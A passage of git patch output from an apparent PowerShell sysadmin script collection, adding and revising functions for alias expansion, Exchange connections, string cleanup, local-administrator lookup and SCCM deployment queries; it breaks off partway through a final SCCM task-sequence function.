From 8213067e1f76d28c8440eddb8001447e2bfe1aac Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 17 Aug 2015 00:52:38 -0400 Subject: [PATCH 001/561] Fun with AST --- .../Expand-ScriptAlias.ps1 | 106 ++++++++++++++++++ TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 | 78 +++++++++++++ 2 files changed, 184 insertions(+) create mode 100644 TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 create mode 100644 TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 new file mode 100644 index 00000000..c1f1362d --- /dev/null +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -0,0 +1,106 @@ +function Expand-ScriptAlias +{ +<# + .SYNOPSIS + Function to replace Aliases used in a script by their fullname + + .DESCRIPTION + Function to replace Aliases used in a script by their fullname. + Using PowerShell AST we are able to retrieve the functions and cmdlets used in a script. + + .PARAMETER Path + Specifies the Path to the file. + Alias: FullName + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias + + .EXAMPLE + gci C:\LazyWinAdmin -File | Expand-ScriptAlias + + .EXAMPLE + Expand-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias -WhatIf + + What if: Performing the operation "Expand Alias: select to Select-Object (startoffset: 15)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: sort to Sort-Object (startoffset: 10)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: group to Group-Object (startoffset: 4)" on target "C:\LazyWinAdmin\testscript2.ps1". + What if: Performing the operation "Expand Alias: gci to Get-ChildItem (startoffset: 0)" on target "C:\LazyWinAdmin\testscript2.ps1". + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [CmdletBinding(SupportsShouldProcess, ConfirmImpact = 'Low')] + PARAM ( + [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] + [ValidateScript({ Test-Path -Path $_ })] + [Alias('FullName')] + [System.String]$Path + ) + PROCESS + { + FOREACH ($File in $Path) + { + Write-Verbose -Message '[PROCESS] $File' + + TRY + { + + + + # Retrieve file content + $ScriptContent = (Get-Content $File -Delimiter $([char]0)) + + # AST Parsing + $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: + ParseInput($ScriptContent, [ref]$null, [ref]$null) + + # Find Aliases + $Aliases = $AbstractSyntaxTree.FindAll({ $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | + ForEach-Object -Process { + $Command = $_.CommandElements[0] + if ($Alias = Get-Alias | Where-Object { $_.Name -eq $Command }) + { + + # Output information + [PSCustomObject]@{ + File = $File + Alias = $Alias.Name + Definition = $Alias.Definition + StartLineNumber = $Command.Extent.StartLineNumber + EndLineNumber = $Command.Extent.EndLineNumber + StartColumnNumber = $Command.Extent.StartColumnNumber + EndColumnNumber = $Command.Extent.EndColumnNumber + StartOffset = $Command.Extent.StartOffset + EndOffset = $Command.Extent.EndOffset + + }#[PSCustomObject] + }#if ($Alias) + } | Sort-Object -Property EndOffset -Descending + + # The sort-object is important, we change the values from the end first to not lose the positions of every aliases. + Foreach ($Alias in $Aliases) + { + if ($psCmdlet.ShouldProcess($file, "Expand Alias: $($Alias.alias) to $($Alias.definition) (startoffset: $($alias.StartOffset))")) + { + # Remove alias and insert full cmldet name + $ScriptContent = $ScriptContent.Remove($Alias.StartOffset, ($Alias.EndOffset - $Alias.StartOffset)).Insert($Alias.StartOffset, $Alias.Definition) + + # Apply to the file + Set-Content -Path $File -Value $ScriptContent + } + } + + } + CATCH + { + Write-Error -Message $($Error[0].Exception.Message) + } + } + } + +} \ No newline at end of file diff --git a/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 new file mode 100644 index 00000000..53135a72 --- /dev/null +++ b/TOOL-Get-ScriptAlias/Get-ScriptAlias.ps1 @@ -0,0 +1,78 @@ +function Get-ScriptAlias +{ +<# + .SYNOPSIS + Function to retrieve the aliases inside a Powershell script file. + + .DESCRIPTION + Function to retrieve the aliases inside a Powershell script file. + Using PowerShell AST Parser we are able to retrieve the functions and cmdlets used in the script. + + .PARAMETER Path + Specifies the path of the script + + .EXAMPLE + Get-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" + + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1" | Get-ScriptAlias + + .EXAMPLE + gci C:\LazyWinAdmin -file | Get-ScriptAlias + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + [CmdletBinding()] + PARAM + ( + [Parameter(ValueFromPipeline, ValueFromPipelineByPropertyName)] + [ValidateScript({ Test-Path -Path $_ })] + [Alias("FullName")] + [System.String[]]$Path + ) + PROCESS + { + FOREACH ($File in $Path) + { + TRY + { + # Retrieve file content + $ScriptContent = (Get-Content $File -Delimiter $([char]0)) + + # AST Parsing + $AbstractSyntaxTree = [System.Management.Automation.Language.Parser]:: + ParseInput($ScriptContent, [ref]$null, [ref]$null) + + # Find Aliases + $AbstractSyntaxTree.FindAll({ $args[0] -is [System.Management.Automation.Language.CommandAst] }, $true) | + ForEach-Object -Process { + $Command = $_.CommandElements[0] + if ($Alias = Get-Alias | Where-Object { $_.Name -eq $Command }) + { + + # Output information + [PSCustomObject]@{ + File = $File + Alias = $Alias.Name + Definition = $Alias.Definition + StartLineNumber = $Command.Extent.StartLineNumber + EndLineNumber = $Command.Extent.EndLineNumber + StartColumnNumber = $Command.Extent.StartColumnNumber + EndColumnNumber = $Command.Extent.EndColumnNumber + StartOffset = $Command.Extent.StartOffset + EndOffset = $Command.Extent.EndOffset + + }#[PSCustomObject] + }#if ($Alias) + }#ForEach-Object + }#TRY + CATCH + { + Write-Error -Message $($Error[0].Exception.Message) + } #CATCH + }#FOREACH ($File in $Path) + } #PROCESS +} \ No newline at end of file From 4f7752e0aab776dc8a2cb33cfd225c3a36d2dda5 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Mon, 17 Aug 2015 01:03:38 -0400 Subject: [PATCH 002/561] Update Expand-ScriptAlias --- .../Expand-ScriptAlias.ps1 | 21 +++++++++---------- 1 file changed, 10 insertions(+), 11 deletions(-) diff --git a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 index c1f1362d..7ffaefe0 100644 --- a/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 +++ b/TOOL-Expand-ScriptAlias/Expand-ScriptAlias.ps1 @@ -21,6 +21,9 @@ .EXAMPLE Expand-ScriptAlias -Path "C:\LazyWinAdmin\testscript.ps1" + .EXAMPLE + "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias -Confirm + .EXAMPLE "C:\LazyWinAdmin\testscript.ps1", "C:\LazyWinAdmin\testscript2.ps1" | Expand-ScriptAlias -WhatIf @@ -49,9 +52,6 @@ TRY { - - - # Retrieve file content $ScriptContent = (Get-Content $File -Delimiter $([char]0)) @@ -85,22 +85,21 @@ # The sort-object is important, we change the values from the end first to not lose the positions of every aliases. Foreach ($Alias in $Aliases) { + # whatif and confirm support if ($psCmdlet.ShouldProcess($file, "Expand Alias: $($Alias.alias) to $($Alias.definition) (startoffset: $($alias.StartOffset))")) { # Remove alias and insert full cmldet name $ScriptContent = $ScriptContent.Remove($Alias.StartOffset, ($Alias.EndOffset - $Alias.StartOffset)).Insert($Alias.StartOffset, $Alias.Definition) - # Apply to the file - Set-Content -Path $File -Value $ScriptContent + Set-Content -Path $File -Value $ScriptContent -Confirm:$false } - } + }#ForEach Alias in Aliases - } + }#TRY CATCH { Write-Error -Message $($Error[0].Exception.Message) } - } - } - -} \ No newline at end of file + }#FOREACH File in Path + }#PROCESS +}#Expand-ScriptAlias \ No newline at end of file From 67aefaf7aae4176dfedfd848254a11b363427f8f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 25 Aug 2015 20:56:55 -0400 Subject: [PATCH 003/561] Update O365-Get-O365CalendarEvent.ps1 Adding Notes --- O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 index 9d576428..08315daa 100644 --- a/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 +++ b/O365-Get-O365CalendarEvent/O365-Get-O365CalendarEvent.ps1 @@ -37,6 +37,10 @@ Get the calendar Events Subject, StartTimeZone,Start, End, Attendees for the last 7 days .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + https://msdn.microsoft.com/office/office365/api/calendar-rest-operations #> [CmdletBinding()] From 3fdaf47657aa7065e2b5206b23b561998c806084 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Tue, 25 Aug 2015 20:58:17 -0400 Subject: [PATCH 004/561] Update O365-GROUP-Get-DistributionGroupRecursive.ps1 Update Notes --- .../O365-GROUP-Get-DistributionGroupRecursive.ps1 | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 index bf5450f0..1d927ff2 100644 --- a/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 +++ b/O365-GROUP-Get-DistributionGroupRecursive/O365-GROUP-Get-DistributionGroupRecursive.ps1 @@ -5,11 +5,11 @@ function Get-DistributionGroupMemberRecursive .SYNOPSIS This script will list all the members (recursively) of a DistributionGroup .EXAMPLE - Get-DistributionGroupMemberRecursive -Group mtl-wbgames_metallica_all -Verbose + Get-DistributionGroupMemberRecursive -Group TestDG -Verbose .NOTES Francois-Xavier Cat - 2015/02/18 - + www.lazywinadmin.com + @lazywinadm #> [CmdletBinding()] PARAM ($Group) @@ -63,4 +63,4 @@ function Get-DistributionGroupMemberRecursive { Write-Verbose -message "[END] Done" } -} \ No newline at end of file +} From bf96000a2309b516c88e1aff8c355637527b6b77 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 29 Aug 2015 14:06:11 -0400 Subject: [PATCH 005/561] Add Exchange Connect functions --- .../Connect-ExchangeOnPremises.ps1 | 42 +++++++++++++ .../Connect-ExchangeOnline.ps1 | 62 +++++++++++++++++++ 2 files changed, 104 insertions(+) create mode 100644 EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 create mode 100644 EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 diff --git a/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 new file mode 100644 index 00000000..e4a9dda1 --- /dev/null +++ b/EXCHANGE-Connect-ExchangeOnPremises/Connect-ExchangeOnPremises.ps1 @@ -0,0 +1,42 @@ +function Connect-ExchangeOnPremises +{ +<# + .SYNOPSIS + Function to Connect to an Exchange OnPremises environment + + .DESCRIPTION + Function to Connect to an Exchange OnPremises environment + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Example: http://ExchServer.lazywinadmin.com/powershell + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell + + .EXAMPLE + PS C:\> Connect-ExchangeOnPremises -ConnectionUri http://ExchServer.lazywinadmin.com/powershell -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + PARAM ( + [Parameter(Mandatory,HelpMessage= 'http:///powershell')] + [system.string]$ConnectionUri, + $Credential = [System.Management.Automation.PSCredential]::Empty + ) + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + } + IF ($PSBoundParameters['Credential']){$Splatting.Credential = $Credential} + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-pssession @Splatting) +} \ No newline at end of file diff --git a/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 new file mode 100644 index 00000000..ec6a8b22 --- /dev/null +++ b/EXCHANGE-Connect-ExchangeOnline/Connect-ExchangeOnline.ps1 @@ -0,0 +1,62 @@ +function Connect-ExchangeOnline +{ +<# + .SYNOPSIS + Function to Connect to an Exchange Online + + .DESCRIPTION + Function to Connect to an Exchange Online + + .PARAMETER ConnectionUri + Specifies the Connection Uri to use + Default is https://ps.outlook.com/powershell/ + + .PARAMETER Credential + Specifies the credential to use + + .EXAMPLE + PS C:\> Connect-ExchangeOnline + + .EXAMPLE + PS C:\> Connect-ExchangeOnline -Credential (Get-Credential) + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + + param + ( + [system.string]$ConnectionUri = 'https://ps.outlook.com/powershell/', + [Parameter(Mandatory)] + $Credential + ) + PROCESS + { + TRY + { + # Make sure the credential username is something like admin@domain.com + if ($Credential.username -notlike '*@*') + { + Write-Error 'Must be email format' + break + } + + $Splatting = @{ + ConnectionUri = $ConnectionUri + ConfigurationName = 'microsoft.exchange' + Authentication = 'Basic' + AllowRedirection = $true + } + IF ($PSBoundParameters['Credential']) { $Splatting.Credential = $Credential } + + # Load Exchange cmdlets (Implicit remoting) + Import-PSSession -Session (New-pssession @Splatting -ErrorAction Stop) -ErrorAction Stop + } + CATCH + { + $Error[0] + } + } +} \ No newline at end of file From 1b6e0be1728e3881d94be89615a868e61d0d46e0 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sat, 29 Aug 2015 21:11:21 -0400 Subject: [PATCH 006/561] Add function Remove-StringLatinCharacter --- .../Remove-StringLatinCharacter.ps1 | 7 +++++++ 1 file changed, 7 insertions(+) create mode 100644 TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 diff --git a/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 new file mode 100644 index 00000000..f33e28a9 --- /dev/null +++ b/TOOL-Remove-StringLatinCharacter/Remove-StringLatinCharacter.ps1 @@ -0,0 +1,7 @@ +function Remove-StringLatinCharacters +{ + #http://www.lazywinadmin.com/2015/05/powershell-remove-diacritics-accents.html + #Method 2 (From Marcin Krzanowicz) + PARAM ([string]$String) + [Text.Encoding]::ASCII.GetString([Text.Encoding]::GetEncoding("Cyrillic").GetBytes($String)) +} \ No newline at end of file From c4dd3e906b799486b2ea0448155917e4eb15c50f Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 30 Aug 2015 00:37:41 -0400 Subject: [PATCH 007/561] Update functions --- .../Get-LocalAdministrator.ps1 | 29 +++++++++++ .../Remove-StringSpecialCharacter.ps1 | 49 ++++++++++--------- .../Test-IsLocalAdministrator.ps1 | 4 ++ 3 files changed, 59 insertions(+), 23 deletions(-) create mode 100644 TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 create mode 100644 TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 new file mode 100644 index 00000000..50560c72 --- /dev/null +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -0,0 +1,29 @@ +function Get-LocalAdministratorBuiltin +{ + #function to get the BUILTIN LocalAdministrator + #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ + [CmdletBinding()] + param ( + [Parameter(Mandatory = $true)] + $ComputerName + ) + Process + { + Foreach ($Computer in $ComputerName) + { + Try + { + Add-Type -AssemblyName System.DirectoryServices.AccountManagement + $PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) + $UserPrincipal = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) + $Searcher = New-Object System.DirectoryServices.AccountManagement.PrincipalSearcher + $Searcher.QueryFilter = $UserPrincipal + $Searcher.FindAll() | Where-Object { $_.Sid -Like "*-500" } + } + Catch + { + Write-Warning -Message "$($_.Exception.Message)" + } + } + } +} \ No newline at end of file diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index 0b1dd0c5..eb528bc1 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -6,8 +6,12 @@ .DESCRIPTION This function will remove the special character from a string. - I am using the regular expression "\w" which means "any word character" - which usually means alphanumeric (letters, numbers, regardless of case) plus underscore (_) + I'm using Unicode Regular Expressions with the following categories + \p{L} : any kind of letter from any language. + \p{Nd} : a digit zero through nine in any script except ideographic + + http://www.regular-expressions.info/unicode.html + http://unicode.org/reports/tr18/ .PARAMETER String Specifies the String on which the special character will be removed @@ -17,17 +21,13 @@ .EXAMPLE PS C:\> Remove-StringSpecialCharacter -String "^&*@wow*(&(*&@" - wow - .EXAMPLE PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" - wow_ - + wow .EXAMPLE PS C:\> Remove-StringSpecialCharacter -String "wow#@!`~)(\|?/}{-_=+*" -SpecialCharacterToKeep "*","_","-" - wow-_* .NOTES @@ -41,24 +41,27 @@ [ValidateNotNullOrEmpty()] [Alias('Text')] [System.String]$String, - - [Alias("Keep")] + + [Alias("Keep")] [ValidateNotNullOrEmpty()] [String[]]$SpecialCharacterToKeep ) PROCESS - { - IF($PSBoundParameters["SpecialCharacterToKeep"]) - { - Foreach ($Character in $SpecialCharacterToKeep) - { - $Regex += "[^\w\.$character" - } - - $Regex += "]" - } #IF($PSBoundParameters["SpecialCharacterToKeep"]) - ELSE {$Regex = "[^\w\.]"} - + { + IF ($PSBoundParameters["SpecialCharacterToKeep"]) + { + Foreach ($Character in $SpecialCharacterToKeep) + { + #$Regex += "[^\w\.$character" + $Regex += "[^\p{L}\p{Nd}\.$character" + } + + #$Regex += "]" + $Regex += "]+" + } #IF($PSBoundParameters["SpecialCharacterToKeep"]) + #ELSE {$Regex = "[^\w\.]"} + ELSE { $Regex = "[^\p{L}\p{Nd}]+" } + $String -replace $regex, "" - } #PROCESS -} \ No newline at end of file + } #PROCESS +} diff --git a/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 new file mode 100644 index 00000000..32821b6c --- /dev/null +++ b/TOOL-Test-IsLocalAdministrator/Test-IsLocalAdministrator.ps1 @@ -0,0 +1,4 @@ +function Test-IsLocalAdministrator +{ + return ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator") +} \ No newline at end of file From ae4d124adaccdd2ec5b5bdc5a113f1578511ee35 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 30 Aug 2015 00:38:18 -0400 Subject: [PATCH 008/561] Update Get-LocalAdministrator --- .../Get-LocalAdministrator.ps1 | 33 ++++++++++++++++--- 1 file changed, 28 insertions(+), 5 deletions(-) diff --git a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 index 50560c72..a38f178f 100644 --- a/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 +++ b/TOOL-Get-LocalAdministrator/Get-LocalAdministrator.ps1 @@ -1,11 +1,34 @@ function Get-LocalAdministratorBuiltin { +<# + .SYNOPSIS + function to retrieve the local Administrator account + + .DESCRIPTION + function to retrieve the local Administrator account + + .PARAMETER ComputerName + Specifies the computername + + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin + + .EXAMPLE + PS C:\> Get-LocalAdministratorBuiltin -ComputerName SERVER01 + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm + #function to get the BUILTIN LocalAdministrator #http://blog.simonw.se/powershell-find-builtin-local-administrator-account/ +#> + [CmdletBinding()] param ( - [Parameter(Mandatory = $true)] - $ComputerName + [Parameter()] + $ComputerName = $env:computername ) Process { @@ -14,9 +37,9 @@ Try { Add-Type -AssemblyName System.DirectoryServices.AccountManagement - $PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) - $UserPrincipal = New-Object System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) - $Searcher = New-Object System.DirectoryServices.AccountManagement.PrincipalSearcher + $PrincipalContext = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalContext([System.DirectoryServices.AccountManagement.ContextType]::Machine, $Computer) + $UserPrincipal = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal($PrincipalContext) + $Searcher = New-Object -TypeName System.DirectoryServices.AccountManagement.PrincipalSearcher $Searcher.QueryFilter = $UserPrincipal $Searcher.FindAll() | Where-Object { $_.Sid -Like "*-500" } } From 0d94775f0540981407a3300f6162b01e4a47c168 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Sun, 30 Aug 2015 20:46:24 -0400 Subject: [PATCH 009/561] Update Remove-StringSpecialCharacter --- .../Remove-StringSpecialCharacter.ps1 | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 index eb528bc1..338e4a51 100644 --- a/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 +++ b/TOOL-Remove-StringSpecialCharacter/Remove-StringSpecialCharacter.ps1 @@ -50,18 +50,16 @@ { IF ($PSBoundParameters["SpecialCharacterToKeep"]) { + $Regex = "[^\p{L}\p{Nd}" Foreach ($Character in $SpecialCharacterToKeep) { - #$Regex += "[^\w\.$character" - $Regex += "[^\p{L}\p{Nd}\.$character" + $Regex += "/$character" } - #$Regex += "]" $Regex += "]+" } #IF($PSBoundParameters["SpecialCharacterToKeep"]) - #ELSE {$Regex = "[^\w\.]"} ELSE { $Regex = "[^\p{L}\p{Nd}]+" } $String -replace $regex, "" } #PROCESS -} +} \ No newline at end of file From dddac62f20a643690c1595c99770c8e972305805 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 3 Sep 2015 00:11:08 -0400 Subject: [PATCH 010/561] Add Get-SCCMUserCollectionDeployment function --- .../Get-SCCMUserCollectionDeployment.ps1 | 142 ++++++++++++++++++ 1 file changed, 142 insertions(+) create mode 100644 SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 diff --git a/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 new file mode 100644 index 00000000..329ef3b4 --- /dev/null +++ b/SCCM-Get-SCCMUserCollectionDeployment/Get-SCCMUserCollectionDeployment.ps1 @@ -0,0 +1,142 @@ +function Get-SCCMUserCollectionDeployment +{ +<# + .SYNOPSIS + Function to retrieve a User's collection deployment + + .DESCRIPTION + Function to retrieve a User's collection deployment + The function will first retrieve all the collection where the user is member of and + find deployments advertised on those. + + The final output will include user, collection and deployment information. + + .PARAMETER Username + Specifies the SamAccountName of the user. + The user must be present in the SCCM CMDB + + .PARAMETER SiteCode + Specifies the SCCM SiteCode + + .PARAMETER ComputerName + Specifies the SCCM Server to query + + .PARAMETER Credential + Specifies the credential to use to query the SCCM Server. + Default will take the current user credentials + + .PARAMETER Purpose + Specifies a specific deployment intent. + Possible value: Available or Required. + Default is Null (get all) + + .EXAMPLE + Get-SCCMUserTargetedApplication -UserName TestUser -Credential $cred -Purpose Required + + .NOTES + Francois-Xavier cat + www.lazywinadmin.com + @lazywinadm + + SMS_R_User: https://msdn.microsoft.com/en-us/library/hh949577.aspx + SMS_Collection: https://msdn.microsoft.com/en-us/library/hh948939.aspx + SMS_DeploymentInfo: https://msdn.microsoft.com/en-us/library/hh948268.aspx +#> + + [CmdletBinding()] + PARAM + ( + [Parameter(Mandatory)] + [Alias('SamAccountName')] + $UserName, + + [Parameter(Mandatory)] + $SiteCode, + + [Parameter(Mandatory)] + $ComputerName, + + [Alias('RunAs')] + [System.Management.Automation.Credential()] + $Credential = [System.Management.Automation.PSCredential]::Empty, + + [ValidateSet('Required', 'Available')] + $Purpose + ) + + BEGIN + { + # Verify if the username contains the domain name + # If it does... remove the domain name + # Example: "FX\TestUser" will become "TestUser" + if ($UserName -like '*\*') { $UserName = ($UserName -split '\\')[1] } + + # Define default properties + $Splatting = @{ + ComputerName = $ComputerName + NameSpace = "root\SMS\Site_$SiteCode" + } + + IF ($PSBoundParameters['Credential']) + { + $Splatting.Credential = $Credential + } + + Switch ($Purpose) + { + "Required" { $DeploymentIntent = 0 } + "Available" { $DeploymentIntent = 2 } + default { $DeploymentIntent = "NA" } + } + + } + PROCESS + { + # Find the User in SCCM CMDB + $User = Get-WMIObject @Splatting -Query "Select * From SMS_R_User WHERE UserName='$UserName'" + + # Find the collections where the user is member of + Get-WmiObject -Class sms_fullcollectionmembership @splatting -Filter "ResourceID = '$($user.resourceid)'" | + ForEach-Object { + + # Retrieve the collection of the user + $Collections = Get-WmiObject @splatting -Query "Select * From SMS_Collection WHERE CollectionID='$($_.Collectionid)'" + + + # Retrieve the deployments (advertisement) of each collections + Foreach ($Collection in $collections) + { + IF ($DeploymentIntent -eq 'NA') + { + # Find the Deployment on one collection + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)'") + } + ELSE + { + $Deployments = (Get-WmiObject @splatting -Query "Select * From SMS_DeploymentInfo WHERE CollectionID='$($Collection.CollectionID)' AND DeploymentIntent='$DeploymentIntent'") + } + + Foreach ($Deploy in $Deployments) + { + + # Prepare Output + $Properties = @{ + UserName = $UserName + ComputerName = $ComputerName + CollectionName = $Deploy.CollectionName + CollectionID = $Deploy.CollectionID + DeploymentID = $Deploy.DeploymentID + DeploymentName = $Deploy.DeploymentName + DeploymentIntent = $deploy.DeploymentIntent + TargetName = $Deploy.TargetName + TargetSubName = $Deploy.TargetSubname + + } + + # Output the current Object + New-Object -TypeName PSObject -prop $Properties + } + } + } + } +} From 0d4cba816cf404c1407700dc033b996186be2fb6 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 3 Sep 2015 00:33:10 -0400 Subject: [PATCH 011/561] Add Set-PowerShellWindowTitle --- .../Set-PowerShellWindowTitle.ps1 | 24 +++++++++++++++++++ 1 file changed, 24 insertions(+) create mode 100644 TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 diff --git a/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 new file mode 100644 index 00000000..169e835a --- /dev/null +++ b/TOOL-Set-PowerShellWindowTitle/Set-PowerShellWindowTitle.ps1 @@ -0,0 +1,24 @@ +function Set-PowerShellWindowTitle +{ +<# + .SYNOPSIS + Function to set the title of the PowerShell Window + + .DESCRIPTION + Function to set the title of the PowerShell Window + + .PARAMETER Title + Specifies the Title of the PowerShell Window + + .EXAMPLE + PS C:\> Set-PowerShellWindowTitle -Title LazyWinAdmin.com + + .NOTES + Francois-Xavier Cat + www.lazywinadmin.com + @lazywinadm +#> + PARAM($Title) + $Host.UI.RawUI.WindowTitle = $Title +} + From 5780c80f3b2e1ff4250f7e9fa43351705aca6c90 Mon Sep 17 00:00:00 2001 From: Francois-Xavier Cat Date: Thu, 3 Sep 2015 09:34:11 -0400 Subject: [PATCH 012/561] Add New-SCCMTSAppVariable --- .../New-SCCMTSAppVariable.ps1 | 49 +++++++++++++++++++ 1 file changed, 49 insertions(+) create mode 100644 SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 diff --git a/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 new file mode 100644 index 00000000..2ab87fbb --- /dev/null +++ b/SCCM-New-SCCMTSAppVariable/New-SCCMTSAppVariable.ps1 @@ -0,0 +1,49 @@ +Function New-SCCMTSAppVariable +{ + <# + .SYNOPSIS + Function to create a SCCM Task Sequence Application Variable during the OSD + + .PARAMETER BaseVariableName + Specifies the "Base Variable Name" present in the task "Install Application" of the Task Sequence. + (In the 'Install application according to dynamic variable list' section) + + .PARAMETER ApplicationList + Specifies the list of application to install. + Those must match the SCCM Application name to install + + .EXAMPLE + New-SCCMTSVariable -BaseVariableName 